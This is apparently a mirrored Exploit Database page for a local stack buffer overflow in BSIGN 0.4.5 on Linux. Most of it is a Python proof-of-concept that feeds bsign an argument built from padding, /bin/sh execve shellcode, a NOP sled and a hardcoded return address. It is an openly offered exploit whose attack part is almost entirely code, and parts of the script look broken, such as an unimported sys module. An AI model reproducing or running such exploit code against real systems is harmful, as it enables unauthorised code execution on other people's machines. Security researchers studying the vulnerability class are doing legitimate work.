BSIGN 0.4.5 – Local Buffer Overflow

• Exploit Database
• 15 阅读

• 作者： Juan Sacco
  日期： 2015-08-27
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37988/

• # Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
  # Program: bsign - embed and verify secure hashes and digital signatures
  # Tested on: GNU/Linux - Kali Linux 2.0
  #
  # Description: BSIGN v0.4.5 and prior is prone to a stack-based buffer overflow
  # vulnerability because the application fails to perform adequate
  # boundary-checks on user-supplied input.
  #
  # An attacker could exploit this issue to execute arbitrary code in the
  # context of the application. Failed exploit attempts will result in a
  # denial-of-service condition.
  #
  # Vendor homepage: http://www.debian.org
  # Kali Linux 2.0 package: http.kali.org_kali_dists_sana_main_binary-i386_Packages
  # MD5: 0fc1d2e9c374c1156b2b02186a9f8980
  
  import os,subprocess
  def run():
  try:
  print "# BSIGN v0.4.5 Stack-BoF by Juan Sacco"
  print "# Wasting CPU clocks on unusable exploits"
  print "# This exploit is for educational purposes only"
  # Basic structure: JUNK + SHELLCODE + NOPS + EIP
  junk = "\x41"*8
  shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  nops = "\x90"*248
  eip = "\x10\xd3\xff\xbf"
  subprocess.call(["bsign -f",'-f ', junk + shellcode + nops + eip])
  
  except OSError as e:
  if e.errno == os.errno.ENOENT:
  print "BSIGN not found!"
  else:
  print "Error executing exploit"
  raise
  
  def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)
  
  if __name__ == '__main__':
  try:
  print "Exploit BSign 0.4.5 Local Overflow Exploit"
  print "Author: Juan Sacco"
  except IndexError:
  howtousage()
  run()